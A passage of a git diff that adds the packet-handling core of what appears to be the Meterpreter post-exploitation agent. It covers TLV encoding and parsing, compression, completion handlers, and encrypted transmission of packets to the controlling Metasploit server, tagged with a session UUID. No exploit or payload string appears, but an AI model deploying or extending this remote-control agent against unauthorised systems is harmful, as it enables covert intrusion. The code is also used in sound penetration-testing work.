(!buf) + { + break; + } + + if (buf->buffer) + { + memset(buf->buffer, 0, buf->length); + free(buf->buffer); + } + + free(buf); + } + + list_destroy(packet->decompressed_buffers); + } + + memset(packet, 0, sizeof(Packet)); + + free(packet); +} + +/*! + * @brief Add a string value TLV to a packet, including the \c NULL terminator. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param str Pointer to the string value to add to the packet. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_string( Packet *packet, TlvType type, LPCSTR str ) +{ + return packet_add_tlv_raw(packet, type, (PUCHAR)str, (DWORD)strlen(str) + 1); +} + +/*! + * @brief Add a wide-string value TLV to a packet, including the \c NULL terminator. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param str Pointer to the wide-string value to add to the packet. + * @param strLength of the string (not including the NULL terminator). + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_wstring_len(Packet *packet, TlvType type, LPCWSTR str, size_t strLength) +{ + DWORD dwResult; + LPSTR lpStr = (LPSTR)malloc(strLength + 1); + + if (lpStr) + { + wcstombs(lpStr, str, strLength); + lpStr[strLength] = 0; + dwResult = packet_add_tlv_raw(packet, type, (PUCHAR)lpStr, (DWORD)strLength + 1); + free(lpStr); + } + else + { + dwResult = ERROR_NOT_ENOUGH_MEMORY; + } + + return dwResult; +} + +/*! + * @brief Add a wide-string value TLV to a packet, including the \c NULL terminator. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param str Pointer to the wide-string value to add to the packet. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str) +{ + return packet_add_tlv_wstring_len(packet, type, str, wcslen(str)); +} + +/*! + * @brief Add a unsigned integer value TLV to a packet. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param val The value to add to the packet. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val) +{ + val = htonl(val); + + return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(val)); +} + +/*! + * @brief Add a quad-work value TLV to a packet. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param val The value to add to the packet. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val) +{ + val = htonq(val); + + return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(QWORD)); +} + +/*! + * @brief Add a boolean value TLV to a packet. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param val The value to add to the packet. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val) +{ + return packet_add_tlv_raw(packet, type, (PUCHAR)&val, 1); +} + +/*! + * @brief Add a group TLV to a packet. + * @details A TLV group is a TLV that contains multiple sub-TLVs. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param entries Pointer to the array of TLV entries to add. + * @param numEntries Count of the number of TLV entries in the \c entries array. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD numEntries) +{ + DWORD totalSize = 0, + offset = 0, + index = 0, + res = ERROR_SUCCESS; + PCHAR buffer = NULL; + + // Calculate the total TLV size. + for (index = 0; index < numEntries; index++) + { + totalSize += entries[index].header.length + sizeof(TlvHeader); + } + + do + { + // Allocate storage for the complete buffer + if (!(buffer = (PCHAR)malloc(totalSize))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Copy the memory into the new buffer + for (index = 0; index < numEntries; index++) + { + TlvHeader rawHeader; + + // Convert byte order for storage + rawHeader.length = htonl(entries[index].header.length + sizeof(TlvHeader)); + rawHeader.type = htonl((DWORD)entries[index].header.type); + + // Copy the TLV header & payload + memcpy(buffer + offset, &rawHeader, sizeof(TlvHeader)); + memcpy(buffer + offset + sizeof(TlvHeader), entries[index].buffer, entries[index].header.length); + + // Update the offset into the buffer + offset += entries[index].header.length + sizeof(TlvHeader); + } + + // Now add the TLV group with its contents populated + res = packet_add_tlv_raw(packet, type, buffer, totalSize); + + } while (0); + + // Free the temporary buffer + SAFE_FREE(buffer); + + return res; +} + +/*! + * @brief Add an array of TLVs to a packet. + * @param packet Pointer to the packet to add the values to. + * @param entries Pointer to the array of TLV entries to add. + * @param numEntries Count of the number of TLV entries in the \c entries array. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlvs(Packet *packet, Tlv *entries, DWORD numEntries) +{ + DWORD index; + + for (index = 0; index < numEntries; index++) + { + packet_add_tlv_raw(packet, (TlvType)entries[index].header.type, entries[index].buffer, entries[index].header.length); + } + + return ERROR_SUCCESS; +} + +/*! + * @brief Add a raw value TLV to a packet, with compression. + * @details The value given in the \c buf parameter will be compressed with zlib. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param buf Pointer to the data that is to be compressed and added. + * @param length Number of bytes in \c buf to compress. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_raw_compressed(Packet *packet, TlvType type, LPVOID buf, DWORD length) +{ + DWORD result = ERROR_SUCCESS; + DWORD headerLength = sizeof(TlvHeader); + PUCHAR newPayload = NULL; + BYTE * compressed_buf = NULL; + DWORD realLength = 0; + DWORD newPayloadLength = 0; + DWORD compressed_length = (DWORD)(1.01 * (length + 12) + 1); + + do + { + compressed_buf = (BYTE *)malloc(compressed_length); + if (!compressed_buf) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + if (compress2(compressed_buf, &compressed_length, buf, length, Z_BEST_COMPRESSION) != Z_OK) + { + result = ERROR_UNSUPPORTED_COMPRESSION; + break; + } + + realLength = compressed_length + headerLength; + newPayloadLength = packet->payloadLength + realLength; + + // Allocate/Reallocate the packet's payload + if (packet->payload) + { + newPayload = (PUCHAR)realloc(packet->payload, newPayloadLength); + } + else + { + newPayload = (PUCHAR)malloc(newPayloadLength); + } + + if (!newPayload) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Populate the new TLV + ((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength); + ((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type); + + memcpy(newPayload + packet->payloadLength + headerLength, compressed_buf, compressed_length); + + // Update the header length and payload length + packet->header.length = htonl(ntohl(packet->header.length) + realLength); + packet->payload = newPayload; + packet->payloadLength = newPayloadLength; + + result = ERROR_SUCCESS; + + } while (0); + + SAFE_FREE(compressed_buf); + + return result; +} + +/*! + * @brief Add an arbitrary raw value TLV to a packet. + * @details The value given in the \c buf parameter will _not_ be compressed. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param buf Pointer to the data that is to be added. + * @param length Number of bytes in \c buf to add. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length) +{ + DWORD headerLength = sizeof(TlvHeader); + DWORD realLength = length + headerLength; + DWORD newPayloadLength = packet->payloadLength + realLength; + PUCHAR newPayload = NULL; + + // check if this TLV is to be compressed... + if ((type & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) + { + return packet_add_tlv_raw_compressed(packet, type, buf, length); + } + + // Allocate/Reallocate the packet's payload + if (packet->payload) + { + newPayload = (PUCHAR)realloc(packet->payload, newPayloadLength); + } + else + { + newPayload = (PUCHAR)malloc(newPayloadLength); + } + + if (!newPayload) + { + return ERROR_NOT_ENOUGH_MEMORY; + } + + // Populate the new TLV + ((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength); + ((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type); + + memcpy(newPayload + packet->payloadLength + headerLength, buf, length); + + // Update the header length and payload length + packet->header.length = htonl(ntohl(packet->header.length) + realLength); + packet->payload = newPayload; + packet->payloadLength = newPayloadLength; + + return ERROR_SUCCESS; +} + +/*! + * @brief Check if a TLV is NULL-terminated. + * @details The function checks the data within the range of bytes specified by + * the \c length property of the TLV \c header. + * @param tlv Pointer to the TLV to check. + * @return Indication of whether the TLV is terminated with a \c NULL byte or not. + * @retval ERROR_SUCCESS A \c NULL byte is present. + * @retval ERROR_NOT_FOUND No \c NULL byte is present. + * @sa TlvHeader + */ +DWORD packet_is_tlv_null_terminated( Tlv *tlv ) +{ + if ((tlv->header.length) && (tlv->buffer[tlv->header.length - 1] != 0)) + { + return ERROR_NOT_FOUND; + } + + return ERROR_SUCCESS; +} + +/*! + * @brief Get the TLV type of the packet. + * @param packet Pointer to the packet to get the type from. + * @return \c PacketTlvType for the given \c Packet. + */ +PacketTlvType packet_get_type( Packet *packet ) +{ + return (PacketTlvType)ntohl( packet->header.type ); +} + +/*! + * @brief Get the TLV meta-type of the packet. + * @param packet Pointer to the packet to get the meta-type from. + * @return \c TlvMetaType for the given \c Packet. + */ +TlvMetaType packet_get_tlv_meta( Packet *packet, Tlv *tlv ) +{ + return TLV_META_TYPE_MASK( tlv->header.type ); +} + +/*! + * @brief Get a TLV of a given type from the packet. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get. + * @param tlv Pointer to the TLV that will receive the data. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_FOUND Unable to find the TLV. + */ +DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv) +{ + return packet_enum_tlv(packet, 0, type, tlv); +} + +/*! + * @brief Get a string TLV from the packet. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get. + * @param tlv Pointer to the TLV that will receive the data. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_FOUND Unable to find the TLV or the string + * value is not NULL-terminated. + */ +DWORD packet_get_tlv_string( Packet *packet, TlvType type, Tlv *tlv ) +{ + DWORD res; + + if ((res = packet_get_tlv(packet, type, tlv)) == ERROR_SUCCESS) + { + res = packet_is_tlv_null_terminated(tlv); + } + + return res; +} + +/*! + * @brief Get a TLV of a given type from a group TLV in the packet. + * @param packet Pointer to the packet to get the TLV from. + * @param group Pointer to the group TLV to get the value from. + * @param type Type of TLV to get. + * @param tlv Pointer to the TLV that will receive the data. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_FOUND Unable to find the TLV. + */ +DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type, Tlv *entry) +{ + return packet_find_tlv_buf(packet, group->buffer, group->header.length, 0, type, entry); +} + +/*! + * @brief Enumerate a TLV (with the option of constraining its type). + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get (optional). + * @param tlv Pointer to the TLV that will receive the data. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_FOUND Unable to find the TLV. + */ +DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv) +{ + return packet_find_tlv_buf(packet, packet->payload, packet->payloadLength, index, type, tlv); +} + +/*! + * @brief Get the string value of a TLV. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get (optional). + * @return Pointer to the string value, if found. + * @retval NULL The string value was not found in the TLV. + * @retval Non-NULL Pointer to the string value. + */ +PCHAR packet_get_tlv_value_string( Packet *packet, TlvType type ) +{ + Tlv stringTlv; + PCHAR string = NULL; + + if (packet_get_tlv_string(packet, type, &stringTlv) == ERROR_SUCCESS) + { + string = (PCHAR)stringTlv.buffer; + } + + return string; +} + +/*! + * @brief Get the string value of a TLV as a wchar_t string. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get (optional). + * @return Pointer to the string value, if found. + * @retval NULL The string value was not found in the TLV. + * @retval Non-NULL Pointer to the string value (must be released with free()). + * @remark This function allocates a new string and therefore must be released + * using free(). + */ +wchar_t* packet_get_tlv_value_wstring(Packet* packet, TlvType type) +{ + size_t size; + wchar_t* result = NULL; + PCHAR string = packet_get_tlv_value_string(packet, type); + + if (string) + { + size = mbstowcs(NULL, string, 0) + 1; + result = (wchar_t*)calloc(size, sizeof(wchar_t)); + if (result) + { + mbstowcs(result, string, size); + } + } + return result; +} + +/*! + * @brief Get the unsigned int value of a TLV. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get (optional). + * @return The value found in the TLV. + * @todo On failure, 0 is returned. We need to make sure this is the right + * thing to do because 0 might also be a valid value. + */ +UINT packet_get_tlv_value_uint(Packet *packet, TlvType type) +{ + Tlv uintTlv; + + if ((packet_get_tlv(packet, type, &uintTlv) != ERROR_SUCCESS) || (uintTlv.header.length < sizeof(DWORD))) + { + return 0; + } + + return ntohl(*(LPDWORD)uintTlv.buffer); +} + +/*! + * @brief Get the raw value of a TLV. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get (optional). + * @return The value found in the TLV. + */ +BYTE * packet_get_tlv_value_raw(Packet * packet, TlvType type) +{ + Tlv tlv; + + if (packet_get_tlv(packet, type, &tlv) != ERROR_SUCCESS) + { + return NULL; + } + + return tlv.buffer; +} + +/*! + * @brief Get the quad-word value of a TLV. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get (optional). + * @return The value found in the TLV. + * @todo On failure, 0 is returned. We need to make sure this is the right + * thing to do because 0 might also be a valid value. + */ +QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type) +{ + Tlv qwordTlv; + + if ((packet_get_tlv(packet, type, &qwordTlv) != ERROR_SUCCESS) || (qwordTlv.header.length < sizeof(QWORD))) + { + return 0; + } + + return ntohq(*(QWORD *)qwordTlv.buffer); +} + +/*! + * @brief Get the boolean value of a TLV. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get (optional). + * @return The value found in the TLV. + * @todo On failure, FALSE is returned. We need to make sure this is the right + * thing to do because FALSE might also be a valid value. + */ +BOOL packet_get_tlv_value_bool(Packet *packet, TlvType type) +{ + Tlv boolTlv; + BOOL val = FALSE; + + if (packet_get_tlv(packet, type, &boolTlv) == ERROR_SUCCESS) + { + val = (BOOL)(*(PCHAR)boolTlv.buffer); + } + + return val; +} + +/*! + * @brief Add an exception to a packet. + * @details When adding an exception, both a TLV_EXCEPTION_CODE and TLV_EXCEPTION_STRING + * are added to the packet. + * @param packet Pointer to the packet to add the detail to. + * @param code Exception code. + * @param fmt Form string for the exception string. + * @param ... Varargs for the format string. + * @return Indication of success or failure. + * @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the request packet. + * @retval ERROR_SUCCESS Transmission was successful. + */ +DWORD packet_add_exception(Packet *packet, DWORD code, PCHAR fmt, ...) +{ + DWORD codeNbo = htonl(code); + char buf[8192]; + Tlv entries[2]; + va_list ap; + + // Ensure null termination + buf[sizeof(buf)-1] = 0; + + va_start(ap, fmt); + _vsnprintf(buf, sizeof(buf)-1, fmt, ap); + va_end(ap); + + // Populate the TLV group array + entries[0].header.type = TLV_TYPE_EXCEPTION_CODE; + entries[0].header.length = 4; + entries[0].buffer = (PUCHAR)&codeNbo; + entries[1].header.type = TLV_TYPE_EXCEPTION_STRING; + entries[1].header.length = (DWORD)strlen(buf) + 1; + entries[1].buffer = (PUCHAR)buf; + + // Add the TLV group, or try to at least. + return packet_add_tlv_group(packet, TLV_TYPE_EXCEPTION, entries, 2); +} + +/*! + * @brief Enumerate TLV entries until hitting a given index or type. + * @details This function will iterate through the given payload until one of the following conditions is true: + * - The end of the payload is encountered + * - The specified index is reached + * - A TLV of the specified type is reached + * + * If the first condition is met, the function returns with a failure. + * @param packet Pointer to the packet to get the TLV from. + * @param payload Pointer to the payload to parse. + * @param index Index of the TLV entry to find (optional). + * @param type Type of TLV to get (optional). + * @param tlv Pointer to the TLV that will receive the data. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_FOUND Unable to find the TLV. + */ +DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index, TlvType type, Tlv *tlv) +{ + DWORD currentIndex = 0; + DWORD offset = 0, length = 0; + BOOL found = FALSE; + PUCHAR current; + + vdprintf("[PKT FIND] Looking for type %u", type); + + memset(tlv, 0, sizeof(Tlv)); + + do + { + // Enumerate the TLV's + for (current = payload, length = 0; !found && current; offset += length, current += length) + { + TlvHeader *header = (TlvHeader *)current; + TlvType current_type = TLV_TYPE_ANY; // effectively '0' + + if ((current + sizeof(TlvHeader) > payload + payloadLength) || (current < payload)) + { + vdprintf("[PKT FIND] Reached end of packet buffer"); + break; + } + + // TLV's length + length = ntohl(header->length); + vdprintf("[PKT FIND] TLV header length: %u", length); + + // Matching type? + current_type = (TlvType)ntohl(header->type); + vdprintf("[PKT FIND] TLV header type: %u", current_type); + + // if the type has been compressed, temporarily remove the compression flag as compression is to be transparent. + if ((current_type & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) + { + current_type = (TlvType)(current_type ^ TLV_META_TYPE_COMPRESSED); + } + + // check if the types match? + if ((current_type != type) && (type != TLV_TYPE_ANY)) + { + vdprintf("[PKT FIND] Types don't match, skipping."); + continue; + } + + // Matching index? + if (currentIndex != index) + { + vdprintf("[PKT FIND] wrong index, skipping."); + currentIndex++; + continue; + } + + if ((current + length > payload + payloadLength) || (current < payload)) + { + vdprintf("[PKT FIND] if ((current + length > payload + payloadLength) || (current < payload))"); + vdprintf("[PKT FIND] Current: %p", current); + vdprintf("[PKT FIND] length: %x", length); + vdprintf("[PKT FIND] Current + length: %p", current + length); + vdprintf("[PKT FIND] payload: %p", payload); + vdprintf("[PKT FIND] payloadLength: %x", payloadLength); + vdprintf("[PKT FIND] payload + payloadLength: %p", payload + payloadLength); + vdprintf("[PKT FIND] diff: %x", current + length - (payload + payloadLength)); + break; + } + + tlv->header.type = ntohl(header->type); + tlv->header.length = ntohl(header->length) - sizeof(TlvHeader); + tlv->buffer = payload + offset + sizeof(TlvHeader); + vdprintf("[PKT FIND] Found!"); + + if ((tlv->header.type & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) + { + DECOMPRESSED_BUFFER * decompressed_buf = NULL; + + do + { + decompressed_buf = (DECOMPRESSED_BUFFER *)malloc(sizeof(DECOMPRESSED_BUFFER)); + if (!decompressed_buf) + { + break; + } + + // the first DWORD in a compressed buffer is the decompressed buffer length. + decompressed_buf->length = ntohl(*(DWORD *)tlv->buffer); + if (!decompressed_buf->length) + { + break; + } + + decompressed_buf->buffer = (BYTE *)malloc(decompressed_buf->length); + if (!decompressed_buf->buffer) + { + break; + } + + tlv->header.length -= sizeof(DWORD); + tlv->buffer += sizeof(DWORD); + + if (uncompress((Bytef*)decompressed_buf->buffer, &decompressed_buf->length, tlv->buffer, tlv->header.length) != Z_OK) + { + break; + } + + tlv->header.type = tlv->header.type ^ TLV_META_TYPE_COMPRESSED; + tlv->header.length = decompressed_buf->length; + tlv->buffer = (PUCHAR)decompressed_buf->buffer; + + if (!packet->decompressed_buffers) + { + packet->decompressed_buffers = list_create(); + } + + if (!packet->decompressed_buffers) + { + break; + } + + // each packet has a list of decompressed buffers which is used to + // wipe and fee all decompressed buffers upon the packet being destroyed. + list_push(packet->decompressed_buffers, decompressed_buf); + + found = TRUE; + + } while (0); + + if (!found && decompressed_buf) + { + SAFE_FREE(decompressed_buf->buffer); + SAFE_FREE(decompressed_buf); + } + } + else + { + found = TRUE; + } + } + + } while (0); + + return (found) ? ERROR_SUCCESS : ERROR_NOT_FOUND; +} + +/*! + * @brief Add a completion routine for a given request identifier. + * @return Indication of success or failure. + * @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the \c PacketCompletionRouteEntry instance. + * @retval ERROR_SUCCESS Addition was successful. + */ +DWORD packet_add_completion_handler(LPCSTR requestId, PacketRequestCompletion *completion) +{ + PacketCompletionRoutineEntry *entry; + DWORD res = ERROR_SUCCESS; + + do + { + // Allocate the entry + if (!(entry = (PacketCompletionRoutineEntry *)malloc(sizeof(PacketCompletionRoutineEntry)))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Copy the completion routine information + memcpy(&entry->handler, completion, sizeof(PacketRequestCompletion)); + + // Copy the request identifier + if (!(entry->requestId = _strdup(requestId))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + + free(entry); + + break; + } + + // Add the entry to the list + entry->next = packetCompletionRoutineList; + packetCompletionRoutineList = entry; + + } while (0); + + return res; +} + +/*! + * @brief Call the register completion handler(s) for the given request identifier. + * @details Only those handlers that match the given request are executed. + * @param remote Pointer to the \c Remote instance for this call. + * @param response Pointer to the response \c Packet. + * @param requestId ID of the request to execute the completion handlers of. + * @return Indication of success or failure. + * @retval ERROR_NOT_FOUND Unable to find any matching completion handlers for the request. + * @retval ERROR_SUCCESS Execution was successful. + */ +DWORD packet_call_completion_handlers( Remote *remote, Packet *response, LPCSTR requestId ) +{ + PacketCompletionRoutineEntry *current; + DWORD result = packet_get_tlv_value_uint(response, TLV_TYPE_RESULT); + DWORD matches = 0; + Tlv methodTlv; + LPCSTR method = NULL; + + // Get the method associated with this packet + if (packet_get_tlv_string(response, TLV_TYPE_METHOD, &methodTlv) == ERROR_SUCCESS) + { + method = (LPCSTR)methodTlv.buffer; + } + + // Enumerate the completion routine list + for (current = packetCompletionRoutineList; current; current = current->next) + { + // Does the request id of the completion entry match the packet's request + // id? + if (strcmp(requestId, current->requestId)) + { + continue; + } + + // Call the completion routine + current->handler.routine(remote, response, current->handler.context, method, result); + + // Increment the number of matched handlers + matches++; + } + + if (matches) + { + packet_remove_completion_handler(requestId); + } + + return (matches > 0) ? ERROR_SUCCESS : ERROR_NOT_FOUND; +} + +/*! + * @brief Remove a set of completion routine handlers for a given request identifier. + * @param requestId ID of the request. + * @return \c ERROR_SUCCESS is always returned. + */ +DWORD packet_remove_completion_handler(LPCSTR requestId) +{ + PacketCompletionRoutineEntry *current, *next, *prev; + + // Enumerate the list, removing entries that match + for (current = packetCompletionRoutineList, next = NULL, prev = NULL; + current; + prev = current, current = next) + { + next = current->next; + + if (strcmp(requestId, current->requestId)) + { + continue; + } + + // Remove the entry from the list + if (prev) + { + prev->next = next; + } + else + { + packetCompletionRoutineList = next; + } + + // Deallocate it + free((PCHAR)current->requestId); + free(current); + } + + return ERROR_SUCCESS; +} + +/*! + * @brief Transmit a response with just a result code to the remote endpoint. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the \c Packet that is to be sent. + * @param res Result code to return. + * @return An indication of the result of processing the transmission request. + */ +DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res) +{ + Packet *response = packet_create_response(packet); + + if (!response) + { + return ERROR_NOT_ENOUGH_MEMORY; + } + + return packet_transmit_response(res, remote, response); +} + +/*! + * @brief Transmit a `TLV_TYPE_RESULT` response if `response` is present. + * @param result The result to be sent. + * @param remote Reference to the remote connection to send the response to. + * @param response the Response to add the `result` to. + */ +DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response) +{ + if (response) + { + packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); + return packet_transmit(remote, response, NULL); + } + return ERROR_NOT_ENOUGH_MEMORY; +} + +DWORD packet_add_request_id(Packet* packet) +{ + Tlv requestId = { 0 }; + + // If the packet does not already have a request identifier, create one for it + if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS) + { + DWORD index; + CHAR rid[32]; + + rid[sizeof(rid)-1] = 0; + + for (index = 0; index < sizeof(rid)-1; index++) + { + rid[index] = (rand() % 0x5e) + 0x21; + } + + packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid); + } + return ERROR_SUCCESS; +} + +DWORD packet_transmit(Remote* remote, Packet* packet, PacketRequestCompletion* completion) +{ + if (packet->partner != NULL && packet->partner->local) + { + dprintf("[TRANSMIT] Ignoring local packet"); + return ERROR_SUCCESS; + } + + Tlv requestId; + DWORD res; + BYTE* encryptedPacket = NULL; + DWORD encryptedPacketLength = 0; + + dprintf("[TRANSMIT] Sending packet to the server"); + packet_add_request_id(packet); + + // Always add the UUID to the packet as well, so that MSF knows who and what we are + packet_add_tlv_raw(packet, TLV_TYPE_UUID, remote->orig_config->session.uuid, UUID_SIZE); + + do + { + // If a completion routine was supplied and the packet has a request + // identifier, insert the completion routine into the list + if ((completion) && + (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, + &requestId) == ERROR_SUCCESS)) + { + packet_add_completion_handler((LPCSTR)requestId.buffer, completion); + } + + encrypt_packet(remote, packet, &encryptedPacket, &encryptedPacketLength); + dprintf("[PACKET] Sending packet to remote, length: %u", encryptedPacketLength); + + dprintf("[PACKET] Remote: %p", remote); + dprintf("[PACKET] Transport: %p", remote->transport); + dprintf("[PACKET] Packet Transmit: %p", remote->transport->packet_transmit); + SetLastError(remote->transport->packet_transmit(remote, encryptedPacket, encryptedPacketLength)); + } while (0); + + res = GetLastError(); + + if (encryptedPacket != NULL) + { + free(encryptedPacket); + } + + // Destroy the packet + packet_destroy(packet); + + return res; } \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/core.h b/c/meterpreter/source/metsrv/core.h new file mode 100644 index 00000000..08e8c176 --- /dev/null +++ b/c/meterpreter/source/metsrv/core.h @@ -0,0 +1,71 @@ +/*! + * @file core.h + * @brief Declarations of core components of the Meterpreter suite. + * @details Much of what exists in the core files is used in almost every area + * of the Meterpreter code base, and hence it's very important. Don't + * change this stuff unless you know what you're doing! + */ +#ifndef _METERPRETER_METSRV_CORE_H +#define _METERPRETER_METSRV_CORE_H + +#include "common_remote.h" +#include "common_list.h" + +/* + * Packet manipulation + */ +Packet *packet_create(PacketTlvType type, LPCSTR method); +Packet *packet_create_response(Packet *packet); +Packet* packet_create_group(); +Packet *packet_duplicate(Packet *packet); +VOID packet_destroy(Packet *packet); + +DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket); +DWORD packet_add_tlv_string(Packet *packet, TlvType type, LPCSTR str); +DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str); +DWORD packet_add_tlv_wstring_len(Packet *packet, TlvType type, LPCWSTR str, size_t strLength); +DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val); +DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val ); +DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val); +DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD numEntries); +DWORD packet_add_tlvs(Packet *packet, Tlv *entries, DWORD numEntries); +DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length); +DWORD packet_is_tlv_null_terminated(Tlv *tlv); +PacketTlvType packet_get_type(Packet *packet); +TlvMetaType packet_get_tlv_meta(Packet *packet, Tlv *tlv); +DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv); +DWORD packet_get_tlv_string(Packet *packet, TlvType type, Tlv *tlv); +DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type,Tlv *entry); +DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv); + +PCHAR packet_get_tlv_value_string(Packet *packet, TlvType type); +wchar_t* packet_get_tlv_value_wstring(Packet* packet, TlvType type); +UINT packet_get_tlv_value_uint(Packet *packet, TlvType type); +BYTE * packet_get_tlv_value_raw( Packet * packet, TlvType type ); +QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type); +BOOL packet_get_tlv_value_bool(Packet *packet, TlvType type); + +DWORD packet_add_exception(Packet *packet, DWORD code,PCHAR string, ...); + +/* + * Packet transmission + */ +DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response); +DWORD packet_transmit(Remote* remote, Packet* packet, PacketRequestCompletion* completion); +DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res); +DWORD packet_add_request_id(Packet* packet); + +/* + * Packet completion notification + */ +DWORD packet_add_completion_handler(LPCSTR requestId, PacketRequestCompletion *completion); +DWORD packet_call_completion_handlers(Remote *remote, Packet *response,LPCSTR requestId); +DWORD packet_remove_completion_handler(LPCSTR requestId); + +/* + * Core API + */ +HANDLE core_update_thread_token( Remote *remote, HANDLE token ); +VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName ); + +#endif diff --git a/c/meterpreter/source/server/win/libloader.c b/c/meterpreter/source/metsrv/libloader.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/server/win/libloader.c rename to c/meterpreter/source/metsrv/libloader.c index cd16cabb..4867ffdf --- 